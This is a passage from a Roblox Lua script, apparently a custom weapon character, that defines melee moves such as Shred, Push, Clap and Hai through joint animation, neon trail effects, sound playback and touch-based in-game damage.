3993 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3994 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3995 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3996 | end | |
3997 | if anim then | |
3998 | anim.Disabled=true | |
3999 | end | |
4000 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4001 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4002 | for i=0,1,0.05 do | |
4003 | swait() | |
4004 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4005 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4006 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4007 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4008 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4009 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4010 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4011 | end | |
4012 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4013 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4014 | for i=0,1,0.05 do | |
4015 | swait() | |
4016 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4017 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4018 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4019 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4020 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4021 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4022 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4023 | end | |
4024 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4025 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4026 | for i=0,1,0.05 do | |
4027 | swait() | |
4028 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4029 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4030 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4031 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4032 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4033 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4034 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4035 | end | |
4036 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4037 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4038 | for i=0,1,0.05 do | |
4039 | swait() | |
4040 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4041 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4042 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4043 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4044 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4045 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4046 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4047 | end | |
4048 | --dmgstop() | |
4049 | Humanoid.WalkSpeed=12 | |
4050 | attack=false | |
4051 | con1:disconnect() | |
4052 | con2:disconnect() | |
4053 | if anim then | |
4054 | anim.Disabled=false | |
4055 | end | |
4056 | if TrailDeb == true then | |
4057 | TrailDeb = false | |
4058 | end | |
4059 | end | |
4060 | ||
4061 | function Shred() | |
4062 | attack=true | |
4063 | mana=mana-100 | |
4064 | if TrailDeb == false then | |
4065 | TrailDeb = true | |
4066 | end | |
4067 | ||
4068 | ||
4069 | coroutine.wrap(function() | |
4070 | local Old = Handle2.CFrame.p | |
4071 | while wait()do | |
4072 | if not TrailDeb then break end | |
4073 | local New = Handle2.CFrame.p | |
4074 | local Mag =(Old -New).magnitude | |
4075 | local Dis =(Old +New)/2 | |
4076 | local Trail = Instance.new("Part",Character) | |
4077 | Trail.Material = "Neon" | |
4078 | Trail.Anchored = true | |
4079 | Trail.CanCollide = false | |
4080 | Trail.BrickColor = TorsoColor | |
4081 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4082 | Trail.TopSurface = 0 | |
4083 | Trail.BottomSurface = 0 | |
4084 | Trail.formFactor = "Custom" | |
4085 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4086 | local ms = Instance.new("BlockMesh",Trail) | |
4087 | ms.Scale = Vector3.new(1,1,1) | |
4088 | local TM = Instance.new("CylinderMesh",Trail) | |
4089 | TM.Scale = Vector3.new(1,1,1) | |
4090 | Old = New | |
4091 | coroutine.wrap(function() | |
4092 | for i = 1,0,-0.1 do | |
4093 | wait() | |
4094 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4095 | end | |
4096 | Trail:remove() | |
4097 | end)() | |
4098 | coroutine.wrap(function() | |
4099 | for i = 1,10 do | |
4100 | wait() | |
4101 | Trail.Transparency = Trail.Transparency +0.1 | |
4102 | end end)()end end)() | |
4103 | coroutine.wrap(function() | |
4104 | local Old = Handle.CFrame.p | |
4105 | while wait()do | |
4106 | if not TrailDeb then break end | |
4107 | local New = Handle.CFrame.p | |
4108 | local Mag =(Old -New).magnitude | |
4109 | local Dis =(Old +New)/2 | |
4110 | local Trail = Instance.new("Part",Character) | |
4111 | Trail.Material = "Neon" | |
4112 | Trail.Anchored = true | |
4113 | Trail.CanCollide = false | |
4114 | Trail.BrickColor = TorsoColor | |
4115 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4116 | Trail.TopSurface = 0 | |
4117 | Trail.BottomSurface = 0 | |
4118 | Trail.formFactor = "Custom" | |
4119 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4120 | local ms = Instance.new("BlockMesh",Trail) | |
4121 | ms.Scale = Vector3.new(1,1,1) | |
4122 | local TM = Instance.new("CylinderMesh",Trail) | |
4123 | TM.Scale = Vector3.new(1,1,1) | |
4124 | Old = New | |
4125 | coroutine.wrap(function() | |
4126 | for i = 1,0,-0.1 do | |
4127 | wait() | |
4128 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4129 | end | |
4130 | Trail:remove() | |
4131 | end)() | |
4132 | coroutine.wrap(function() | |
4133 | for i = 1,10 do | |
4134 | wait() | |
4135 | Trail.Transparency = Trail.Transparency +0.1 | |
4136 | end end)()end end)() | |
4137 | Footsteps:Stop() | |
4138 | Footsteps2:Stop() | |
4139 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4140 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4141 | so("http://www.roblox.com/asset/?id=159882578",Torso,1,1) | |
4142 | for i=0,1,0.1 do | |
4143 | swait() | |
4144 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4145 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4146 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4147 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4148 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4149 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4150 | end | |
4151 | if anim then | |
4152 | anim.Disabled=true | |
4153 | end | |
4154 | for i=0,1,0.05 do | |
4155 | swait() | |
4156 | Torso.Velocity=RootPart.CFrame.lookVector*20 | |
4157 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4158 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4159 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5) | |
4160 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4161 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4162 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4163 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4164 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4165 | end | |
4166 | for i=0,1,0.05 do | |
4167 | swait() | |
4168 | Torso.Velocity=RootPart.CFrame.lookVector*40 | |
4169 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4170 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4171 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5) | |
4172 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4173 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4174 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4175 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4176 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4177 | end | |
4178 | for i=0,1,0.05 do | |
4179 | swait() | |
4180 | Torso.Velocity=RootPart.CFrame.lookVector*60 | |
4181 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4182 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4183 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5) | |
4184 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4185 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4186 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4187 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4188 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4189 | end | |
4190 | so("http://www.roblox.com/asset/?id=159882625",Torso,1,1) | |
4191 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4192 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4193 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4194 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4195 | for i=0,1,0.05 do | |
4196 | swait() | |
4197 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4198 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5) | |
4199 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4200 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4201 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4202 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4203 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4204 | end | |
4205 | for i=0,1,0.005 do | |
4206 | swait() | |
4207 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
4208 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5) | |
4209 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4210 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4211 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4212 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4213 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4214 | end | |
4215 | --dmgstop() | |
4216 | Humanoid.WalkSpeed=12 | |
4217 | attack=false | |
4218 | con1:disconnect() | |
4219 | con2:disconnect() | |
4220 | if anim then | |
4221 | anim.Disabled=false | |
4222 | end | |
4223 | if TrailDeb == true then | |
4224 | TrailDeb = false | |
4225 | end | |
4226 | end | |
4227 | ||
4228 | function Push() | |
4229 | attack=true | |
4230 | mana=mana-20 | |
4231 | if TrailDeb == false then | |
4232 | TrailDeb = true | |
4233 | end | |
4234 | ||
4235 | ||
4236 | coroutine.wrap(function() | |
4237 | local Old = Handle2.CFrame.p | |
4238 | while wait()do | |
4239 | if not TrailDeb then break end | |
4240 | local New = Handle2.CFrame.p | |
4241 | local Mag =(Old -New).magnitude | |
4242 | local Dis =(Old +New)/2 | |
4243 | local Trail = Instance.new("Part",Character) | |
4244 | Trail.Material = "Neon" | |
4245 | Trail.Anchored = true | |
4246 | Trail.CanCollide = false | |
4247 | Trail.BrickColor = TorsoColor | |
4248 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4249 | Trail.TopSurface = 0 | |
4250 | Trail.BottomSurface = 0 | |
4251 | Trail.formFactor = "Custom" | |
4252 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4253 | local ms = Instance.new("BlockMesh",Trail) | |
4254 | ms.Scale = Vector3.new(1,1,1) | |
4255 | local TM = Instance.new("CylinderMesh",Trail) | |
4256 | TM.Scale = Vector3.new(1,1,1) | |
4257 | Old = New | |
4258 | coroutine.wrap(function() | |
4259 | for i = 1,0,-0.1 do | |
4260 | wait() | |
4261 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4262 | end | |
4263 | Trail:remove() | |
4264 | end)() | |
4265 | coroutine.wrap(function() | |
4266 | for i = 1,10 do | |
4267 | wait() | |
4268 | Trail.Transparency = Trail.Transparency +0.1 | |
4269 | end end)()end end)() | |
4270 | coroutine.wrap(function() | |
4271 | local Old = Handle.CFrame.p | |
4272 | while wait()do | |
4273 | if not TrailDeb then break end | |
4274 | local New = Handle.CFrame.p | |
4275 | local Mag =(Old -New).magnitude | |
4276 | local Dis =(Old +New)/2 | |
4277 | local Trail = Instance.new("Part",Character) | |
4278 | Trail.Material = "Neon" | |
4279 | Trail.Anchored = true | |
4280 | Trail.CanCollide = false | |
4281 | Trail.BrickColor = TorsoColor | |
4282 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4283 | Trail.TopSurface = 0 | |
4284 | Trail.BottomSurface = 0 | |
4285 | Trail.formFactor = "Custom" | |
4286 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4287 | local ms = Instance.new("BlockMesh",Trail) | |
4288 | ms.Scale = Vector3.new(1,1,1) | |
4289 | local TM = Instance.new("CylinderMesh",Trail) | |
4290 | TM.Scale = Vector3.new(1,1,1) | |
4291 | Old = New | |
4292 | coroutine.wrap(function() | |
4293 | for i = 1,0,-0.1 do | |
4294 | wait() | |
4295 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4296 | end | |
4297 | Trail:remove() | |
4298 | end)() | |
4299 | coroutine.wrap(function() | |
4300 | for i = 1,10 do | |
4301 | wait() | |
4302 | Trail.Transparency = Trail.Transparency +0.1 | |
4303 | end end)()end end)() | |
4304 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4305 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4306 | for i=0,1,0.1 do | |
4307 | swait() | |
4308 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4309 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4310 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4311 | Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4312 | Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4313 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3) | |
4314 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3) | |
4315 | end | |
4316 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
4317 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4318 | so("http://www.roblox.com/asset/?id=159882481",Torso,1,1) | |
4319 | for i=0,1,0.1 do | |
4320 | swait() | |
4321 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4322 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4323 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4324 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4325 | Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4326 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3) | |
4327 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3) | |
4328 | end | |
4329 | --dmgstop() | |
4330 | attack=false | |
4331 | con1:disconnect() | |
4332 | con2:disconnect() | |
4333 | if TrailDeb == true then | |
4334 | TrailDeb = false | |
4335 | end | |
4336 | end | |
4337 | ||
4338 | function Clap() | |
4339 | attack=true | |
4340 | mana=mana-20 | |
4341 | if TrailDeb == false then | |
4342 | TrailDeb = true | |
4343 | end | |
4344 | ||
4345 | ||
4346 | coroutine.wrap(function() | |
4347 | local Old = Handle2.CFrame.p | |
4348 | while wait()do | |
4349 | if not TrailDeb then break end | |
4350 | local New = Handle2.CFrame.p | |
4351 | local Mag =(Old -New).magnitude | |
4352 | local Dis =(Old +New)/2 | |
4353 | local Trail = Instance.new("Part",Character) | |
4354 | Trail.Material = "Neon" | |
4355 | Trail.Anchored = true | |
4356 | Trail.CanCollide = false | |
4357 | Trail.BrickColor = TorsoColor | |
4358 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4359 | Trail.TopSurface = 0 | |
4360 | Trail.BottomSurface = 0 | |
4361 | Trail.formFactor = "Custom" | |
4362 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4363 | local ms = Instance.new("BlockMesh",Trail) | |
4364 | ms.Scale = Vector3.new(1,1,1) | |
4365 | local TM = Instance.new("CylinderMesh",Trail) | |
4366 | TM.Scale = Vector3.new(1,1,1) | |
4367 | Old = New | |
4368 | coroutine.wrap(function() | |
4369 | for i = 1,0,-0.1 do | |
4370 | wait() | |
4371 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4372 | end | |
4373 | Trail:remove() | |
4374 | end)() | |
4375 | coroutine.wrap(function() | |
4376 | for i = 1,10 do | |
4377 | wait() | |
4378 | Trail.Transparency = Trail.Transparency +0.1 | |
4379 | end end)()end end)() | |
4380 | coroutine.wrap(function() | |
4381 | local Old = Handle.CFrame.p | |
4382 | while wait()do | |
4383 | if not TrailDeb then break end | |
4384 | local New = Handle.CFrame.p | |
4385 | local Mag =(Old -New).magnitude | |
4386 | local Dis =(Old +New)/2 | |
4387 | local Trail = Instance.new("Part",Character) | |
4388 | Trail.Material = "Neon" | |
4389 | Trail.Anchored = true | |
4390 | Trail.CanCollide = false | |
4391 | Trail.BrickColor = TorsoColor | |
4392 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4393 | Trail.TopSurface = 0 | |
4394 | Trail.BottomSurface = 0 | |
4395 | Trail.formFactor = "Custom" | |
4396 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4397 | local ms = Instance.new("BlockMesh",Trail) | |
4398 | ms.Scale = Vector3.new(1,1,1) | |
4399 | local TM = Instance.new("CylinderMesh",Trail) | |
4400 | TM.Scale = Vector3.new(1,1,1) | |
4401 | Old = New | |
4402 | coroutine.wrap(function() | |
4403 | for i = 1,0,-0.1 do | |
4404 | wait() | |
4405 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4406 | end | |
4407 | Trail:remove() | |
4408 | end)() | |
4409 | coroutine.wrap(function() | |
4410 | for i = 1,10 do | |
4411 | wait() | |
4412 | Trail.Transparency = Trail.Transparency +0.1 | |
4413 | end end)()end end)() | |
4414 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4415 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4416 | so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9) | |
4417 | for i=0,1,0.08 do | |
4418 | swait() | |
4419 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4420 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4421 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4422 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2) | |
4423 | Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2) | |
4424 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3) | |
4425 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3) | |
4426 | end | |
4427 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
4428 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4429 | for i=0,1,0.08 do | |
4430 | swait() | |
4431 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4432 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4433 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4434 | Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2) | |
4435 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2) | |
4436 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
4437 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3) | |
4438 | end | |
4439 | --dmgstop() | |
4440 | attack=false | |
4441 | con1:disconnect() | |
4442 | con2:disconnect() | |
4443 | if TrailDeb == true then | |
4444 | TrailDeb = false | |
4445 | end | |
4446 | end | |
4447 | ||
4448 | function Hai() | |
4449 | attack=true | |
4450 | Humanoid.WalkSpeed=0 | |
4451 | so("http://www.roblox.com/asset/?id=159882567",Torso,1,1) | |
4452 | for i=0,1,0.1 do | |
4453 | swait() | |
4454 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4455 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4456 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4457 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4458 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4459 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4460 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4461 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4462 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4463 | end | |
4464 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) | |
4465 | for i=0,1,0.1 do | |
4466 | swait() | |
4467 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4468 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4469 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4470 | Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2) | |
4471 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4472 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4473 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4474 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5) | |
4475 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4476 | end | |
4477 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4478 | for i=0,1,0.1 do | |
4479 | swait() | |
